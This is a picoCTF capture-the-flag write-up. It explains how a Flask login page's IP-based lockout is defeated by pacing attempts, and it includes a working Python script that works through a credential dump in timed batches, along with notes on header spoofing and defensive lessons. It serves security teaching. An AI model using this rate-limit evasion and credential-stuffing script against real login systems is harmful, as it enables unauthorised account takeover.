picoCTF - Web Exploitation

Fool the Lockout

picoCTF Fool the Lockout writeup bypassing a rate-limiting lockout mechanism to brute-force credentials and access the protected endpoint.

Contents

Fool the Lockout

Challenge Summary

This picoCTF challenge provided three important pieces:

  • A live login page
  • The full Flask source code
  • A credential dump containing candidate username/password pairs

Target:

http://candy-mountain.picoctf.net:52910/login

Files provided:

  • app.py
  • creds-dump (1).txt

The goal was to bypass the IP-based rate limit, find the valid credential pair, log in, and capture the flag.

Key Observation

The challenge explicitly claimed that brute forcing was prevented by an IP-based rate limit. That meant the source code mattered more than the login form itself.

So the first step was to read app.py.

Source Code Analysis

The relevant rate-limiting logic was:

MAX_REQUESTS = 10
EPOCH_DURATION = 30
LOCKOUT_DURATION = 120

The application tracked requests by request.remote_addr and updated a small in-memory database:

request_rates = {
    "ip_addr": {
        "num_requests": int,
        "epoch_start": timestamp,
        "lockout_until": int
    }
}

The critical logic was inside refresh_request_rates_db() and exceeded_rate_limit().

How the lockout worked

For each client IP:

  • Every POST to /login increased num_requests
  • If more than 30 seconds passed since epoch_start, the request counter reset to 0
  • Lockout happened only when:
if request_rates[client_ip]['num_requests'] > MAX_REQUESTS:

Since MAX_REQUESTS = 10, this means:

  • Attempts 1 through 10 are allowed
  • Attempt 11 within the same 30-second window triggers the lockout

That is the flaw.

Vulnerability

The defense was not actually preventing guessing. It only limited the attacker to 10 guesses every 30 seconds from one IP.

So instead of brute forcing quickly, the correct bypass was simply to pace the requests:

  1. Send 10 login attempts
  2. Wait a little more than 30 seconds
  3. Repeat

Because the epoch resets after 30 seconds, the counter returns to zero and the attacker gets another 10 attempts without ever triggering the lockout.

This is not a real brute-force prevention mechanism. It is only a speed bump.

Why Header Spoofing Was Not Needed

Sometimes IP-based limits can be bypassed with headers like:

  • X-Forwarded-For
  • X-Real-IP

But in this application the code used:

client_ip = request.remote_addr

So spoofed headers would not help unless there were a reverse proxy in front rewriting remote_addr, which there was not in this challenge.

The reliable bypass was timing, not header manipulation.

Recon on the Login Form

Fetching the login page confirmed the form fields:

<input id="username" name="username" type="text">
<input id="password" name="password" type="password">

So login requests needed standard form data:

username=<value>&password=<value>

Credential Dump

The dump contained 99 username/password pairs in the format:

username;password

Example:

rora;winner1
birendra;rumble
khalid;sting
stanislaw;ming
...

Since the file was small, a paced scan was practical.

Exploitation Strategy

The correct attack plan was:

  1. Read the credential dump
  2. Submit 10 login attempts
  3. Sleep for 31 seconds so the 30-second epoch expires
  4. Continue with the next batch
  5. Stop on the first successful redirect to /

That keeps the scan permanently below the lockout condition.

Scripted Solution

The challenge hint mentioned that the Python requests library might be useful. That was exactly the right tool.

A working solution looked like this:

import time
import requests
from urllib.parse import urljoin

BASE = "http://candy-mountain.picoctf.net:52910"
LOGIN = urljoin(BASE, "/login")
HOME = urljoin(BASE, "/")

pairs = []
with open("creds-dump (1).txt", encoding="utf-8", errors="replace") as f:
    for line in f:
        line = line.rstrip("\n")
        if ";" in line:
            pairs.append(tuple(line.split(";", 1)))

s = requests.Session()
attempts_in_epoch = 0

for user, pwd in pairs:
    if attempts_in_epoch == 10:
        time.sleep(31)
        attempts_in_epoch = 0

    r = s.post(
        LOGIN,
        data={"username": user, "password": pwd},
        allow_redirects=False,
        timeout=10
    )
    attempts_in_epoch += 1

    if r.status_code in (301, 302, 303, 307, 308) and r.headers.get("Location") == "/":
        home = s.get(HOME, timeout=10)
        print(f"[+] Found valid creds: {user}:{pwd}")
        print(home.text)
        break

Valid Credential Pair

The valid account in the dump was:

rohit:berry

After logging in with that pair, the homepage displayed the flag.

Flag

picoCTF{<redacted>}

Why the Defense Failed

The application did not stop credential guessing. It only enforced a per-IP attempt cap inside a short time window.

That means:

  • It slowed guessing down
  • It did not stop guessing
  • It still allowed the full dump to be tested eventually

The bug is a weak rate-limiting design, not a single line coding mistake.

The developer assumed that “blocking fast guessing” meant “guessing is impossible.” That assumption was wrong.

Security Lessons

  • Rate limiting should be combined with stronger protections, not used alone.
  • Lockouts based only on IP are weak, especially against distributed attacks.
  • Time-window rate limits can often be bypassed by simply pacing requests.
  • MFA and anomaly detection are far more effective against credential attacks.
  • Real defenses should consider account-based controls, IP reputation, device fingerprinting, and breached-password detection.

Takeaway

This challenge was solved by reading the source carefully instead of fighting the lockout directly. The application allowed 10 attempts every 30 seconds, so the right move was to stay just under that threshold and walk through the credential dump patiently.

The winning credential pair was:

rohit:berry

And the recovered flag was:

picoCTF{<redacted>}